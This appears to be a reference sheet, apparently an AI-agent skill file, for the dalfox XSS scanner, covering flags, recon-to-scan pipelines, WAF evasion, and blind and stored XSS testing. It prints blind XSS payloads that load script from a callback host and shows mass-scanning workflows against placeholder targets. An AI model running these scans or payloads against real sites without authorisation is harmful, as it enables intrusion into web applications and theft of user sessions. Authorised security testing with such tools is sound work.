dalfox

name	dalfox
description	Auth/lab ref: fast Go-based XSS scanner for parameter analysis and DOM-based XSS detection.
license	MIT
compatibility	Linux / macOS / Windows.
metadata	{"author":"AeonDave","version":"1.1"}

dalfox

Fast XSS scanner — parameter analysis, DOM detection, blind XSS.

Quick Start

# Scan single URL
dalfox url "http://target.com/search?q=test"

# Scan from file
dalfox file urls.txt

# Pipe from other tools
cat urls.txt | dalfox pipe

Core Flags

Flag	Purpose
--cookie <str>	Cookie string for authenticated scans
--header <str>	Custom HTTP header
--data <str>	POST body data
--method <GET|POST>	HTTP method
--blind <url>	Blind XSS callback URL
--custom-payload <file>	Custom XSS payloads file
--custom-alert-value <str>	Custom alert value to confirm XSS
--only-custom-payload	Use only custom payloads
--skip-bav	Skip BAV (Basic Additional Verify)
--skip-grep	Skip Grep (response analysis)
--skip-mining-dom	Skip DOM-based mining
--skip-mining-dict	Skip parameter dictionary mining
--mining-dict-word <file>	Custom parameter mining wordlist
--follow-redirects	Follow HTTP redirects
--proxy <url>	HTTP proxy
--timeout <n>	Request timeout (default 10s)
--delay <n>	Delay between requests (ms)
--worker <n>	Concurrent workers (default 100)
--waf-evasion	Slow down + mutate payloads when WAF detected
--skip-bav	Skip Basic Another Vulnerability checks (SQLi, SSTI, redirect)
--skip-mining-all	Disable all parameter mining
--only-discovery	Run parameter discovery only, skip XSS testing
--skip-discovery	Skip discovery, go straight to XSS testing
--ignore-param <p>	Skip specific parameter
--force-headless-verification	Force headless browser to verify all findings
--skip-headless	Skip headless browser (faster, misses DOM XSS)
--remote-payloads <src>	Load remote payloads: portswigger,payloadbox
--remote-wordlists <src>	Remote wordlists for mining: burp,assetnote
--custom-alert-type <types>	Test str,int alert types
--poc-type <type>	PoC format: plain,curl,httpie,http-request
--output-request	Include raw HTTP requests in output
--output-response	Include raw HTTP responses in output
--found-action <cmd>	Shell command on each finding ($POCURL = PoC URL)
--config <file>	Load settings from JSON config file
--har-file-path <path>	Save HAR of findings
-o <file>	Output file
--output-all	Include all events in output
--format <fmt>	plain / json
--ignore-return <codes>	Ignore specific HTTP status codes
--no-color	Disable color output
-S / --silence	Silent mode (findings only)
--report	Generate report
--report-format <fmt>	plain / json
-v	Verbose

Modes

Mode	Command	Use
Single URL	dalfox url "<url>"	Test one target
File	dalfox file urls.txt	Bulk scan
Pipe	echo url | dalfox pipe	Pipeline integration
Server	dalfox server	API server mode
Sxss	dalfox sxss	Stored XSS via two URLs
Payload	dalfox payload	Generate/show payloads

Common Workflows

# Authenticated scan with cookie
dalfox url "http://target.com/search?q=test" \
    --cookie "session=abc123; user=admin"

# POST parameter scan
dalfox url "http://target.com/comment" \
    --data "content=test&id=1" \
    --method POST

# Blind XSS with custom callback
dalfox url "http://target.com/search?q=test" \
    --blind "https://your-xss-hunter.com/callback"

# Silent mode for clean output
dalfox file urls.txt -S --format json -o xss_findings.json

# Through proxy (Burp)
dalfox url "http://target.com/search?q=test" \
    --proxy "http://127.0.0.1:8080"

# Custom headers (JWT auth)
dalfox url "http://target.com/api?q=test" \
    --header "Authorization: Bearer eyJhbGc..."

# Skip DOM and dict mining (speed up)
dalfox file urls.txt \
    --skip-mining-dom --skip-mining-dict \
    --worker 50 -S

# With custom payloads
dalfox url "http://target.com/search?q=test" \
    --custom-payload payloads.txt \
    --only-custom-payload

Pipeline Integration

# Full recon → XSS pipeline with gf xss filter:
subfinder -d target.com -silent | \
    httpx -silent | \
    waybackurls | \
    sort -u | \
    gf xss | \
    dalfox pipe \
        -b "https://your.xsshunter.com/script.js" \
        --worker 30 --delay 100 \
        --waf-evasion \
        --format json -o xss_results.json

# gau → filter reflective parameters → dalfox:
gau target.com | \
    grep "=" | \
    qsreplace "FUZZ" | \
    dalfox pipe --custom-alert-value "FUZZ" -S

# Katana crawl → dalfox:
katana -u https://target.com -silent -jc | \
    grep "=" | \
    dalfox pipe -S

# Waybackurls → dalfox (historical URLs):
waybackurls target.com | \
    grep "=" | \
    uro | \
    dalfox pipe -S --worker 30

gf xss from tomnomnom/gf + 1ndianl33t/gf-patterns filters for historically XSS-prone params: q, s, search, query, url, redirect, next, ref, callback, etc.

Blind XSS Setup

# Use xsshunter.com OR self-hosted interactsh:
# Step 1: Get callback URL (xsshunter / interactsh / canarytokens)
BLIND_URL="https://xsshunter.com/your-unique-id"

# Step 2: Run with --blind
dalfox url "http://target.com/feedback?msg=test" \
    --blind "$BLIND_URL"

# dalfox injects payloads that load from blind URL:
# <script src="$BLIND_URL"></script>
# "><img src=x onerror="import('$BLIND_URL')">
# Trigger detected when callback URL is fetched

# With interactsh client:
interactsh-client &
IHOST=$(interactsh-client -server interactsh.com -token $TOKEN -v 2>&1 | grep "Listing" | awk '{print $NF}')
dalfox url "http://target.com/search?q=test" --blind "http://$IHOST"

DOM XSS

# DOM mining enabled by default
dalfox url "http://target.com/app" --cookie "session=abc"

# Deep DOM analysis (headless browser, slow but thorough)
dalfox url "http://target.com/app" --deep-domxss

# Skip headless for speed (fast triage, misses some DOM XSS)
dalfox url "http://target.com/app" --skip-headless

# Force headless verification for all findings
dalfox url "http://target.com/app" --force-headless-verification

# What dalfox tracks as sinks:
# - document.write / document.writeln
# - innerHTML / outerHTML / insertAdjacentHTML
# - eval() / setTimeout(str) / setInterval(str)
# - location.href / location.hash / location.assign()
# - jQuery .html() / .append() / .load()

Stored XSS Mode

# Inject at one URL, verify at another
dalfox sxss "https://target.com/comment/submit" \
    -d "author=test&body=test" \
    -C "session=abc123" \
    --trigger "https://target.com/comments/view"

# Paginated/ID-based trigger URL (SEQNC = incrementing number)
dalfox sxss "https://target.com/post" \
    -d "content=test" \
    --trigger "https://target.com/post/view?id=SEQNC" \
    --sequence 5

# With notification on find
dalfox sxss "https://target.com/profile/edit" \
    -d "bio=test" -C "session=abc123" \
    --trigger "https://target.com/profile/view" \
    --found-action 'echo "STORED XSS: $POCURL" >> findings.txt'

Automation with --found-action

# $POCURL env var = PoC URL for the finding
# Run any shell command when XSS is found

# Slack notification
dalfox url "https://target.com/?q=test" \
    --found-action 'curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"text\":\"XSS found: $POCURL\"}" \
    https://hooks.slack.com/services/YOUR/SLACK/WEBHOOK'

# Log with curl PoC
dalfox file urls.txt \
    --poc-type curl \
    --found-action 'echo "$POCURL" >> xss_findings.txt'

Config File

{
  "worker": 30,
  "delay": 200,
  "blind": "https://your.xsshunter.com/script.js",
  "cookie": "session=abc123",
  "format": "json",
  "poc-type": "curl",
  "waf-evasion": true,
  "output": "scan_results.json"
}

dalfox url "https://target.com/" --config config.json
# CLI flags override config file values

Output Parsing

# JSON output:
dalfox file urls.txt -S --format json -o results.json

# Parse findings:
cat results.json | jq '.[] | select(.type == "G") | {url: .data, param: .param, payload: .payload}'

# Types:
# G = Generic (verified XSS)
# B = Blind XSS sent
# R = Reflected (not confirmed)

# Count findings:
cat results.json | jq '[.[] | select(.type == "G")] | length'

Resources

File	When to load
references/xss-payloads.md	Payload bypass techniques, WAF evasion, context-specific payloads